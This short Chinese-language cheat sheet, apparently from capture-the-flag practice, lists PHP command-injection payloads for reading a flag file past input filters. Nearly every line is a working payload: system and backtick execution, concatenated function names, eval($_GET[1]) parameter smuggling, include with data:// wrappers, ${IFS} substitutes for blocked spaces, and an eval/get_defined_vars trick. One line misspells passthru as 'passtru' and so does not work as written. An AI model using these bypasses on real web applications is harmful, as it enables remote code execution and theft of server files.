flag被过滤:system('tac fla*');
system被过滤:echo `tac fla*`
拼接法:?c=$a=sys;$b=tem;$c=$a.$b;$c("tac fla*");
再传参:?c=eval($_GET[1]);&1=system("tac flag.php");
利用passtru:?c=passtru(tac fla*);
分号被过滤:利用文件包含,?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>---传入新get闭合,这样就没有那些过滤了
空格被过路:利用\t;%20;${IFS} 代替
没过滤英文括号:?c=eval(array_pop(next(get_defined_vars())));
Array
(
[_GET] => Array(...),
[_POST] => Array([1] => "your_input"), // 如果 POST 传了 1=xxx
[_COOKIE] => Array(...),
[GLOBALS] => Array(...),
// 其他变量...
)